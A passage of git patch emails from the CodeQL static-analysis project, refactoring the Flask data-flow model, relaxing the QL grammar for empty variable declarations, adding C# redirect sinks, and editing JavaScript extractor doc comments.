FlaskRequestTracking::tainted_methods(_) and + nodeFrom = FlaskRequestTracking::tainted_methods(_).getAUse() and nodeTo.asCfgNode().(CallNode).getFunction() = nodeFrom.asCfgNode() } } @@ -443,7 +443,7 @@ private module FlaskModel { DataFlow::CfgNode { override CallNode node; - FlaskRedirectCall() { node.getFunction() = flask_attr("redirect").asCfgNode() } + FlaskRedirectCall() { node.getFunction() = flask_attr("redirect").getAUse().asCfgNode() } override DataFlow::Node getRedirectLocation() { result.asCfgNode() in [node.getArg(0), node.getArgByName("location")] From 72a699e0996d61cd92aec91fe659e42134c6401e Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Mon, 8 Feb 2021 16:55:18 +0100 Subject: [PATCH 1113/1241] Python: Add `CallCfgNode` class and rewrite using that class I prefer this name to `CfgCallNode` as the latter will make autocomplete more difficult. --- .../dataflow/new/internal/DataFlowPublic.qll | 23 ++++++-- .../ql/src/semmle/python/frameworks/Flask.qll | 53 +++++++------------ 2 files changed, 40 insertions(+), 36 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll index 93540203f94..b86bdd2a3cf 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPublic.qll @@ -165,6 +165,23 @@ class CfgNode extends Node, TCfgNode { override Location getLocation() { result = node.getLocation() } } +/** A data-flow node corresponding to a `CallNode` in the control-flow graph. */ +class CallCfgNode extends CfgNode { + override CallNode node; + + /** + * Gets the data-flow node for the function component of the call corresponding to this data-flow + * node. + */ + Node getFunction() { result.asCfgNode() = node.getFunction() } + + /** Gets the data-flow node corresponding to the nth argument of the call corresponding to this data-flow node */ + Node getArg(int i) { result.asCfgNode() = node.getArg(i) } + + /** Gets the data-flow node corresponding to the named argument of the call corresponding to this data-flow node */ + Node getArgByName(string name) { result.asCfgNode() = node.getArgByName(name) } +} + /** * An expression, viewed as a node in a data flow graph. * @@ -481,7 +498,7 @@ class LocalSourceNode extends Node { /** * Gets a call to this node. */ - Node getACall() { Cached::call(this, result) } + CallCfgNode getACall() { Cached::call(this, result) } } cached @@ -526,10 +543,10 @@ private module Cached { * Holds if `func` flows to the callee of `call`. */ cached - predicate call(LocalSourceNode func, Node call) { + predicate call(LocalSourceNode func, CallCfgNode call) { exists(CfgNode n | func.flowsTo(n) and - n.asCfgNode() = call.asCfgNode().(CallNode).getFunction() + n = call.getFunction() ) } } diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 1ac48689fd8..8b649a0d0ad 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -125,23 +125,21 @@ private module FlaskModel { abstract class InstanceSource extends HTTP::Server::HttpResponse::Range, DataFlow::Node { } /** A direct instantiation of `flask.Response`. */ - private class ClassInstantiation extends InstanceSource, DataFlow::CfgNode { - override CallNode node; - + private class ClassInstantiation extends InstanceSource, DataFlow::CallCfgNode { ClassInstantiation() { this = classRef().getACall() } - override DataFlow::Node getBody() { result.asCfgNode() = node.getArg(0) } + override DataFlow::Node getBody() { result = this.getArg(0) } override string getMimetypeDefault() { result = "text/html" } /** Gets the argument passed to the `mimetype` parameter, if any. */ private DataFlow::Node getMimetypeArg() { - result.asCfgNode() in [node.getArg(3), node.getArgByName("mimetype")] + result in [this.getArg(3), this.getArgByName("mimetype")] } /** Gets the argument passed to the `content_type` parameter, if any. */ private DataFlow::Node getContentTypeArg() { - result.asCfgNode() in [node.getArg(4), node.getArgByName("content_type")] + result in [this.getArg(4), this.getArgByName("content_type")] } override DataFlow::Node getMimetypeOrContentTypeArg() { @@ -228,13 +226,11 @@ private module FlaskModel { * * See https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.route */ - private class FlaskAppRouteCall extends FlaskRouteSetup, DataFlow::CfgNode { - override CallNode node; - - FlaskAppRouteCall() { node.getFunction() = flask::Flask::route().getAUse().asCfgNode() } + private class FlaskAppRouteCall extends FlaskRouteSetup, DataFlow::CallCfgNode { + FlaskAppRouteCall() { this.getFunction() = flask::Flask::route().getAUse() } override DataFlow::Node getUrlPatternArg() { - result.asCfgNode() in [node.getArg(0), node.getArgByName("rule")] + result in [this.getArg(0), this.getArgByName("rule")] } override Function getARequestHandler() { result.getADecorator().getAFlowNode() = node } @@ -245,20 +241,14 @@ private module FlaskModel { * * See https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.add_url_rule */ - private class FlaskAppAddUrlRuleCall extends FlaskRouteSetup, DataFlow::CfgNode { - override CallNode node; - - FlaskAppAddUrlRuleCall() { - node.getFunction() = flask::Flask::add_url_rule().getAUse().asCfgNode() - } + private class FlaskAppAddUrlRuleCall extends FlaskRouteSetup, DataFlow::CallCfgNode { + FlaskAppAddUrlRuleCall() { this.getFunction() = flask::Flask::add_url_rule().getAUse() } override DataFlow::Node getUrlPatternArg() { - result.asCfgNode() in [node.getArg(0), node.getArgByName("rule")] + result in [this.getArg(0), this.getArgByName("rule")] } - DataFlow::Node getViewArg() { - result.asCfgNode() in [node.getArg(2), node.getArgByName("view_func")] - } + DataFlow::Node getViewArg() { result in [this.getArg(2), this.getArgByName("view_func")] } override Function getARequestHandler() { exists(DataFlow::LocalSourceNode func_src | @@ -375,7 +365,7 @@ private module FlaskModel { // NOTE: `request -> request.tainted_method` part is handled as part of RequestInputAccess // tainted_method -> tainted_method() nodeFrom = FlaskRequestTracking::tainted_methods(_).getAUse() and - nodeTo.asCfgNode().(CallNode).getFunction() = nodeFrom.asCfgNode() + nodeTo.(DataFlow::CallCfgNode).getFunction() = nodeFrom } } @@ -403,16 +393,15 @@ private module FlaskModel { * - https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response * - https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response */ - private class FlaskMakeResponseCall extends HTTP::Server::HttpResponse::Range, DataFlow::CfgNode { - override CallNode node; - + private class FlaskMakeResponseCall extends HTTP::Server::HttpResponse::Range, + DataFlow::CallCfgNode { FlaskMakeResponseCall() { - node.getFunction() = flask::make_response().getAUse().asCfgNode() + this.getFunction() = flask::make_response().getAUse() or - node.getFunction() = flask::Flask::make_response_().getAUse().asCfgNode() + this.getFunction() = flask::Flask::make_response_().getAUse() } - override DataFlow::Node getBody() { result.asCfgNode() = node.getArg(0) } + override DataFlow::Node getBody() { result = this.getArg(0) } override string getMimetypeDefault() { result = "text/html" } @@ -440,13 +429,11 @@ private module FlaskModel { * See https://flask.palletsprojects.com/en/1.1.x/api/#flask.redirect */ private class FlaskRedirectCall extends HTTP::Server::HttpRedirectResponse::Range, - DataFlow::CfgNode { - override CallNode node; - - FlaskRedirectCall() { node.getFunction() = flask_attr("redirect").getAUse().asCfgNode() } + DataFlow::CallCfgNode { + FlaskRedirectCall() { this.getFunction() = flask_attr("redirect").getAUse() } override DataFlow::Node getRedirectLocation() { - result.asCfgNode() in [node.getArg(0), node.getArgByName("location")] + result in [this.getArg(0), this.getArgByName("location")] } override DataFlow::Node getBody() { none() } From c59b5c98cb661dd450cd2c78489df6a201738373 Mon Sep 17 00:00:00 2001 From: Taus Brock-Nannestad Date: Mon, 8 Feb 2021 19:14:11 +0100 Subject: [PATCH 1114/1241] Python: Replace use of `AttrNode` with `getMember` --- .../ql/src/semmle/python/frameworks/Flask.qll | 76 +++++++++---------- 1 file changed, 36 insertions(+), 40 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 8b649a0d0ad..c0702ab7391 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -312,46 +312,42 @@ private module FlaskModel { RequestInputAccess() { // attributes - exists(AttrNode attr | - this.asCfgNode() = attr and - attr.getObject(attr_name) = flask::request().getAUse().asCfgNode() - | - attr_name in [ - // str - "path", "full_path", "base_url", "url", "access_control_request_method", - "content_encoding", "content_md5", "content_type", "data", "method", "mimetype", - "origin", "query_string", "referrer", "remote_addr", "remote_user", "user_agent", - // dict - "environ", "cookies", "mimetype_params", "view_args", - // json - "json", - // List[str] - "access_route", - // file-like - "stream", "input_stream", - // MultiDict[str, str] - // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.MultiDict - "args", "values", "form", - // MultiDict[str, FileStorage] - // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.FileStorage - // TODO: FileStorage needs extra taint steps - "files", - // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.HeaderSet - "access_control_request_headers", "pragma", - // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.Accept - // TODO: Kinda badly modeled for now -- has type List[Tuple[value, quality]], and some extra methods - "accept_charsets", "accept_encodings", "accept_languages", "accept_mimetypes", - // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.Authorization - // TODO: dict subclass with extra attributes like `username` and `password` - "authorization", - // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.RequestCacheControl - // TODO: has attributes like `no_cache`, and `to_header` method (actually, many of these models do) - "cache_control", - // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.Headers - // TODO: dict-like with wsgiref.headers.Header compatibility methods - "headers" - ] - ) + this = flask::request().getMember(attr_name).getAUse() and + attr_name in [ + // str + "path", "full_path", "base_url", "url", "access_control_request_method", + "content_encoding", "content_md5", "content_type", "data", "method", "mimetype", "origin", + "query_string", "referrer", "remote_addr", "remote_user", "user_agent", + // dict + "environ", "cookies", "mimetype_params", "view_args", + // json + "json", + // List[str] + "access_route", + // file-like + "stream", "input_stream", + // MultiDict[str, str] + // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.MultiDict + "args", "values", "form", + // MultiDict[str, FileStorage] + // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.FileStorage + // TODO: FileStorage needs extra taint steps + "files", + // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.HeaderSet + "access_control_request_headers", "pragma", + // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.Accept + // TODO: Kinda badly modeled for now -- has type List[Tuple[value, quality]], and some extra methods + "accept_charsets", "accept_encodings", "accept_languages", "accept_mimetypes", + // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.Authorization + // TODO: dict subclass with extra attributes like `username` and `password` + "authorization", + // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.RequestCacheControl + // TODO: has attributes like `no_cache`, and `to_header` method (actually, many of these models do) + "cache_control", + // https://werkzeug.palletsprojects.com/en/1.0.x/datastructures/#werkzeug.datastructures.Headers + // TODO: dict-like with wsgiref.headers.Header compatibility methods + "headers" + ] or // methods (needs special handling to track bound-methods -- see `FlaskRequestMethodCallsAdditionalTaintStep` below) this = FlaskRequestTracking::tainted_methods(attr_name).getAUse() From 7583904046bebf3ae2d9c44dde34b1b01a6d8f6f Mon Sep 17 00:00:00 2001 From: Alexander Eyers-Taylor Date: Mon, 8 Feb 2021 18:54:13 +0000 Subject: [PATCH 1115/1241] Update the language specification to allow empty var_decls This is a degenerate form that is accepted in the compiler even if they don't make much sense. Fixes #5060 --- .../ql-language-specification.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/docs/codeql/ql-language-reference/ql-language-specification.rst b/docs/codeql/ql-language-reference/ql-language-specification.rst index df1da36a1ba..0fe54210504 100644 --- a/docs/codeql/ql-language-reference/ql-language-specification.rst +++ b/docs/codeql/ql-language-reference/ql-language-specification.rst @@ -374,7 +374,7 @@ A *variable declaration list* provides a sequence of variables and a type for ea :: - var_decls ::= var_decl ("," var_decl)* + var_decls ::= (var_decl ("," var_decl)*)? var_decl ::= type simpleId A valid variable declaration list must not include two declarations with the same variable name. Moreover, if the declaration has a typing environment that applies, it must not use a variable name that is already present in that typing environment. @@ -820,7 +820,7 @@ The head of the predicate gives a name, an optional *result type*, and a sequenc :: - head ::= ("predicate" | type) predicateName "(" (var_decls)? ")" + head ::= ("predicate" | type) predicateName "(" var_decls ")" The body of a predicate is of one of three forms: @@ -1209,7 +1209,7 @@ An aggregation can be written in one of two forms: :: - aggregation ::= aggid ("[" expr "]")? "(" (var_decls)? ("|" (formula)? ("|" as_exprs ("order" "by" aggorderbys)?)?)? ")" + aggregation ::= aggid ("[" expr "]")? "(" var_decls ("|" (formula)? ("|" as_exprs ("order" "by" aggorderbys)?)?)? ")" | aggid ("[" expr "]")? "(" as_exprs ("order" "by" aggorderbys)? ")" | "unique" "(" var_decls "|" (formula)? ("|" as_exprs)? ")" @@ -2046,7 +2046,7 @@ The complete grammar for QL is as follows: | "language" "[" "monotonicAggregates" "]" | "bindingset" "[" (variable ( "," variable)*)? "]" - head ::= ("predicate" | type) predicateName "(" (var_decls)? ")" + head ::= ("predicate" | type) predicateName "(" var_decls ")" optbody ::= ";" | "{" formula "}" @@ -2070,7 +2070,7 @@ The complete grammar for QL is as follows: | qldoc? annotations "class" classname "=" type ";" | qldoc? annotations "module" modulename "=" moduleId ";" - var_decls ::= var_decl ("," var_decl)* + var_decls ::= (var_decl ("," var_decl)*)? var_decl ::= type simpleId @@ -2157,7 +2157,7 @@ The complete grammar for QL is as follows: postfix_cast ::= primary "." "(" type ")" - aggregation ::= aggid ("[" expr "]")? "(" (var_decls)? ("|" (formula)? ("|" as_exprs ("order" "by" aggorderbys)?)?)? ")" + aggregation ::= aggid ("[" expr "]")? "(" var_decls ("|" (formula)? ("|" as_exprs ("order" "by" aggorderbys)?)?)? ")" | aggid ("[" expr "]")? "(" as_exprs ("order" "by" aggorderbys)? ")" | "unique" "(" var_decls "|" (formula)? ("|" as_exprs)? ")" From 3818971b79d98ae63d01951be5d5fcb26bf783f2 Mon Sep 17 00:00:00 2001 From: Remco Vermeulen Date: Tue, 9 Feb 2021 13:09:02 +0100 Subject: [PATCH 1116/1241] Add redirect sinks Both the familiy of `Accepted` and `Created` method set the location header based on provided input. If this is untrusted input this can result in an URL redirect attack. --- .../code/csharp/frameworks/microsoft/AspNetCore.qll | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/csharp/ql/src/semmle/code/csharp/frameworks/microsoft/AspNetCore.qll b/csharp/ql/src/semmle/code/csharp/frameworks/microsoft/AspNetCore.qll index 3ebd7028504..a00f7d21a05 100644 --- a/csharp/ql/src/semmle/code/csharp/frameworks/microsoft/AspNetCore.qll +++ b/csharp/ql/src/semmle/code/csharp/frameworks/microsoft/AspNetCore.qll @@ -195,7 +195,13 @@ class MicrosoftAspNetCoreMvcController extends Class { /** Gets a `Redirect*` method. */ Method getARedirectMethod() { result = this.getAMethod() and - result.getName().matches("Redirect%") + ( + result.getName().matches("Redirect%") + or + result.getName().matches("Accepted%") + or + result.getName().matches("Created%") + ) } } From 8dd5a7e7c7a11ac645e7fa7c8ad6fb456755eab2 Mon Sep 17 00:00:00 2001 From: alexet Date: Tue, 9 Feb 2021 12:10:09 +0000 Subject: [PATCH 1117/1241] Javascript Extractor: Update tages to --- .../com/semmle/js/ast/DeclarationFlags.java | 22 +++++++++---------- .../src/com/semmle/js/ast/Literal.java | 2 +- .../com/semmle/js/ast/MemberDefinition.java | 6 ++--- .../com/semmle/js/extractor/ASTExtractor.java | 6 ++--- .../com/semmle/js/extractor/AutoBuild.java | 4 ++-- .../com/semmle/js/extractor/ScopeManager.java | 2 +- .../com/semmle/js/parser/ParsedProject.java | 2 +- .../src/com/semmle/ts/ast/ArrayTypeExpr.java | 2 +- .../semmle/ts/ast/ConditionalTypeExpr.java | 2 +- .../ts/ast/ExportAsNamespaceDeclaration.java | 2 +- .../ts/ast/ExpressionWithTypeArguments.java | 2 +- .../ts/ast/ExternalModuleDeclaration.java | 2 +- .../com/semmle/ts/ast/GenericTypeExpr.java | 2 +- .../ts/ast/GlobalAugmentationDeclaration.java | 2 +- .../com/semmle/ts/ast/INodeWithSymbol.java | 2 +- .../com/semmle/ts/ast/ITypeExpression.java | 2 +- .../src/com/semmle/ts/ast/ImportTypeExpr.java | 2 +- .../semmle/ts/ast/ImportWholeDeclaration.java | 2 +- .../semmle/ts/ast/IndexedAccessTypeExpr.java | 2 +- .../src/com/semmle/ts/ast/InferTypeExpr.java | 2 +- .../com/semmle/ts/ast/InterfaceTypeExpr.java | 2 +- .../semmle/ts/ast/IntersectionTypeExpr.java | 4 ++-- .../com/semmle/ts/ast/KeywordTypeExpr.java | 8 +++---- .../src/com/semmle/ts/ast/MappedTypeExpr.java | 6 ++--- .../com/semmle/ts/ast/NonNullAssertion.java | 2 +- .../com/semmle/ts/ast/OptionalTypeExpr.java | 2 +- .../semmle/ts/ast/ParenthesizedTypeExpr.java | 2 +- .../com/semmle/ts/ast/PredicateTypeExpr.java | 8 +++---- .../src/com/semmle/ts/ast/RestTypeExpr.java | 2 +- .../src/com/semmle/ts/ast/TupleTypeExpr.java | 2 +- .../src/com/semmle/ts/ast/TypeAssertion.java | 2 +- .../src/com/semmle/ts/ast/TypeParameter.java | 6 ++--- .../src/com/semmle/ts/ast/TypeofTypeExpr.java | 2 +- .../src/com/semmle/ts/ast/UnaryTypeExpr.java | 2 +- .../src/com/semmle/ts/ast/UnionTypeExpr.java | 2 +- .../semmle/ts/extractor/TypeExtractor.java | 2 +- .../ts/extractor/TypeScriptASTConverter.java | 16 +++++++------- .../semmle/ts/extractor/TypeScriptParser.java | 4 ++-- .../com/semmle/ts/extractor/TypeTable.java | 4 ++-- 39 files changed, 74 insertions(+), 74 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/ast/DeclarationFlags.java b/javascript/extractor/src/com/semmle/js/ast/DeclarationFlags.java index 28546fdeca8..cbd8b1eedf7 100644 --- a/javascript/extractor/src/com/semmle/js/ast/DeclarationFlags.java +++ b/javascript/extractor/src/com/semmle/js/ast/DeclarationFlags.java @@ -88,59 +88,59 @@ public class DeclarationFlags { return (flags & declareKeyword) != 0; } - /** Returns a mask with the computed bit set to the value of enable. */ + /** Returns a mask with the computed bit set to the value of enable. */ public static int getComputed(boolean enable) { return enable ? computed : 0; } - /** Returns a mask with the abstract bit set to the value of enable. */ + /** Returns a mask with the abstract bit set to the value of enable. */ public static int getAbstract(boolean enable) { return enable ? abstract_ : 0; } - /** Returns a mask with the static bit set to the value of enable. */ + /** Returns a mask with the static bit set to the value of enable. */ public static int getStatic(boolean enable) { return enable ? static_ : 0; } - /** Returns a mask with the public bit set to the value of enable. */ + /** Returns a mask with the public bit set to the value of enable. */ public static int getPublic(boolean enable) { return enable ? public_ : 0; } - /** Returns a mask with the readonly bit set to the value of enable. */ + /** Returns a mask with the readonly bit set to the value of enable. */ public static int getReadonly(boolean enable) { return enable ? readonly : 0; } - /** Returns a mask with the private bit set to the value of enable. */ + /** Returns a mask with the private bit set to the value of enable. */ public static int getPrivate(boolean enable) { return enable ? private_ : 0; } - /** Returns a mask with the protected bit set to the value of enable. */ + /** Returns a mask with the protected bit set to the value of enable. */ public static int getProtected(boolean enable) { return enable ? protected_ : 0; } - /** Returns a mask with the optional bit set to the value of enable. */ + /** Returns a mask with the optional bit set to the value of enable. */ public static int getOptional(boolean enable) { return enable ? optional : 0; } /** - * Returns a mask with the definite assignment assertion bit set to the value of enable. + * Returns a mask with the definite assignment assertion bit set to the value of enable. */ public static int getDefiniteAssignmentAssertion(boolean enable) { return enable ? definiteAssignmentAssertion : 0; } - /** Returns a mask with the declare keyword bit set to the value of enable. */ + /** Returns a mask with the declare keyword bit set to the value of enable. */ public static int getDeclareKeyword(boolean enable) { return enable ? declareKeyword : 0; } - /** Returns true if the nth bit is set in flags. */ + /** Returns true if the nth bit is set in flags. */ public static boolean hasNthFlag(int flags, int n) { return (flags & (1 << n)) != 0; } diff --git a/javascript/extractor/src/com/semmle/js/ast/Literal.java b/javascript/extractor/src/com/semmle/js/ast/Literal.java index 15408b05916..3c53798b851 100644 --- a/javascript/extractor/src/com/semmle/js/ast/Literal.java +++ b/javascript/extractor/src/com/semmle/js/ast/Literal.java @@ -6,7 +6,7 @@ import com.semmle.ts.ast.ITypeExpression; /** * A literal constant. * - *

    A null literal may occur as a TypeScript type annotation - other literals are always + *

    A null literal may occur as a TypeScript type annotation - other literals are always * expressions. */ public class Literal extends Expression implements ITypeExpression { diff --git a/javascript/extractor/src/com/semmle/js/ast/MemberDefinition.java b/javascript/extractor/src/com/semmle/js/ast/MemberDefinition.java index c04b79fa366..7cacafa96ed 100644 --- a/javascript/extractor/src/com/semmle/js/ast/MemberDefinition.java +++ b/javascript/extractor/src/com/semmle/js/ast/MemberDefinition.java @@ -40,7 +40,7 @@ public abstract class MemberDefinition extends Node { return flags; } - /** Returns true if this has the static modifier. */ + /** Returns true if this has the static modifier. */ public boolean isStatic() { return DeclarationFlags.isStatic(flags); } @@ -55,7 +55,7 @@ public abstract class MemberDefinition extends Node { return DeclarationFlags.isAbstract(flags); } - /** Returns true if has the public modifier (not true for implicitly public members). */ + /** Returns true if has the public modifier (not true for implicitly public members). */ public boolean hasPublicKeyword() { return DeclarationFlags.isPublic(flags); } @@ -75,7 +75,7 @@ public abstract class MemberDefinition extends Node { return DeclarationFlags.isReadonly(flags); } - /** Returns true if this has the declare modifier. */ + /** Returns true if this has the declare modifier. */ public boolean hasDeclareKeyword() { return DeclarationFlags.hasDeclareKeyword(flags); } diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 73cefdae30d..bb270353869 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -253,7 +253,7 @@ public class ASTExtractor { /** * An identifier that refers to a variable from inside a type, i.e. the operand to a - * typeof type or left operand to an is type. + * typeof type or left operand to an is type. * *

    This is generally treated as a type, except a variable binding will be emitted for it. */ @@ -288,7 +288,7 @@ public class ASTExtractor { VAR_AND_TYPE_AND_NAMESPACE_DECL, /** - * An identifier that occurs as part of a named export, such as export { A }. + * An identifier that occurs as part of a named export, such as export { A }. * *

    This may refer to a variable, type, and/or a namespace, and will export exactly those that * can be resolved. @@ -301,7 +301,7 @@ public class ASTExtractor { /** * An identifier that occurs as a qualified name in a default export expression, such as - * A in export default A.B. + * A in export default A.B. * *

    This acts like {@link #EXPORT}, except it cannot refer to a type (i.e. it must be a * variable and/or a namespace). diff --git a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java index 398330acd59..505c45832e2 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java +++ b/javascript/extractor/src/com/semmle/js/extractor/AutoBuild.java @@ -722,13 +722,13 @@ public class AutoBuild { } /** - * Prepares package.json files in a virtual source root, and, if enabled, + * Prepares package.json files in a virtual source root, and, if enabled, * installs dependencies for use by the TypeScript type checker. *

    * Some packages must be downloaded while others exist within the same repo ("monorepos") * but are not in a location where TypeScript would look for it. *

    - * Downloaded packages are intalled under SCRATCH_DIR, in a mirrored directory hierarchy + * Downloaded packages are intalled under SCRATCH_DIR, in a mirrored directory hierarchy * we call the "virtual source root". *

    * Packages that exists within the repo are not downloaded. Since they are part of the main source tree, diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java index 14e88a92c9d..923635037c7 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java @@ -149,7 +149,7 @@ public class ScopeManager { } /** - * Enters a scope for a block of form declare global { ... }. + * Enters a scope for a block of form declare global { ... }. * *

    Declarations in this block will contribute to the global scope, but references can still be * resolved in the scope enclosing the declaration itself. The scope itself does not have its own diff --git a/javascript/extractor/src/com/semmle/js/parser/ParsedProject.java b/javascript/extractor/src/com/semmle/js/parser/ParsedProject.java index 49c6049d452..34315111ba6 100644 --- a/javascript/extractor/src/com/semmle/js/parser/ParsedProject.java +++ b/javascript/extractor/src/com/semmle/js/parser/ParsedProject.java @@ -14,7 +14,7 @@ public class ParsedProject { this.allFiles = allFiles; } - /** Returns the tsconfig.json file that defines this project. */ + /** Returns the tsconfig.json file that defines this project. */ public File getTsConfigFile() { return tsConfigFile; } diff --git a/javascript/extractor/src/com/semmle/ts/ast/ArrayTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/ArrayTypeExpr.java index badcf444439..07a1da74ed7 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ArrayTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ArrayTypeExpr.java @@ -4,7 +4,7 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; /** - * An array type, such as number[], or in general T[] where T is a type. + * An array type, such as number[], or in general T[] where T is a type. */ public class ArrayTypeExpr extends TypeExpression { private final ITypeExpression elementType; diff --git a/javascript/extractor/src/com/semmle/ts/ast/ConditionalTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/ConditionalTypeExpr.java index 61bc2c647f2..e690f6b6244 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ConditionalTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ConditionalTypeExpr.java @@ -3,7 +3,7 @@ package com.semmle.ts.ast; import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; -/** A conditional type annotation, such as T extends any[] ? A : B. */ +/** A conditional type annotation, such as T extends any[] ? A : B. */ public class ConditionalTypeExpr extends TypeExpression { private ITypeExpression checkType; private ITypeExpression extendsType; diff --git a/javascript/extractor/src/com/semmle/ts/ast/ExportAsNamespaceDeclaration.java b/javascript/extractor/src/com/semmle/ts/ast/ExportAsNamespaceDeclaration.java index b6921b34924..f836f052f23 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ExportAsNamespaceDeclaration.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ExportAsNamespaceDeclaration.java @@ -5,7 +5,7 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Statement; import com.semmle.js.ast.Visitor; -/** A statement of form export as namespace X where X is an identifier. */ +/** A statement of form export as namespace X where X is an identifier. */ public class ExportAsNamespaceDeclaration extends Statement { private Identifier id; diff --git a/javascript/extractor/src/com/semmle/ts/ast/ExpressionWithTypeArguments.java b/javascript/extractor/src/com/semmle/ts/ast/ExpressionWithTypeArguments.java index 4c4c681d078..c1f3c318a9e 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ExpressionWithTypeArguments.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ExpressionWithTypeArguments.java @@ -13,7 +13,7 @@ import java.util.List; * class StringList extends List<string> {} * * - * Above, List is a concrete expression whereas its type argument is a type. + * Above, List is a concrete expression whereas its type argument is a type. */ public class ExpressionWithTypeArguments extends Expression { private final Expression expression; diff --git a/javascript/extractor/src/com/semmle/ts/ast/ExternalModuleDeclaration.java b/javascript/extractor/src/com/semmle/ts/ast/ExternalModuleDeclaration.java index 58baaac7424..555e86da2b4 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/ExternalModuleDeclaration.java +++ b/javascript/extractor/src/com/semmle/ts/ast/ExternalModuleDeclaration.java @@ -6,7 +6,7 @@ import com.semmle.js.ast.Statement; import com.semmle.js.ast.Visitor; import java.util.List; -/** A statement of form declare module "X" {...}. */ +/** A statement of form declare module "X" {...}. */ public class ExternalModuleDeclaration extends Statement { private final Literal name; private final List body; diff --git a/javascript/extractor/src/com/semmle/ts/ast/GenericTypeExpr.java b/javascript/extractor/src/com/semmle/ts/ast/GenericTypeExpr.java index efaee334c1f..1df66ae1fe2 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/GenericTypeExpr.java +++ b/javascript/extractor/src/com/semmle/ts/ast/GenericTypeExpr.java @@ -4,7 +4,7 @@ import com.semmle.js.ast.SourceLocation; import com.semmle.js.ast.Visitor; import java.util.List; -/** An instantiation of a named type, such as Array<number> */ +/** An instantiation of a named type, such as Array<number> */ public class GenericTypeExpr extends TypeExpression { private final ITypeExpression typeName; // Always Identifier or MemberExpression private final List typeArguments; diff --git a/javascript/extractor/src/com/semmle/ts/ast/GlobalAugmentationDeclaration.java b/javascript/extractor/src/com/semmle/ts/ast/GlobalAugmentationDeclaration.java index b8eec7fac94..008e5e403c1 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/GlobalAugmentationDeclaration.java +++ b/javascript/extractor/src/com/semmle/ts/ast/GlobalAugmentationDeclaration.java @@ -5,7 +5,7 @@ import com.semmle.js.ast.Statement; import com.semmle.js.ast.Visitor; import java.util.List; -/** A statement of form: declare global { ... } */ +/** A statement of form: declare global { ... } */ public class GlobalAugmentationDeclaration extends Statement { private final List body; diff --git a/javascript/extractor/src/com/semmle/ts/ast/INodeWithSymbol.java b/javascript/extractor/src/com/semmle/ts/ast/INodeWithSymbol.java index 9f5e1fe2993..c0fc5864c63 100644 --- a/javascript/extractor/src/com/semmle/ts/ast/INodeWithSymbol.java +++ b/javascript/extractor/src/com/semmle/ts/ast/INodeWithSymbol.java @@ -8,7 +8,7 @@ package com.semmle.ts.ast; */ public interface INodeWithSymbol { /** - * Gets a number identifying the symbol associated with this AST node, or -1 if there is + * Gets a number identifying the symbol associated with this AST node, or -1 if there is * no such symbol. */ int getSymbol(); 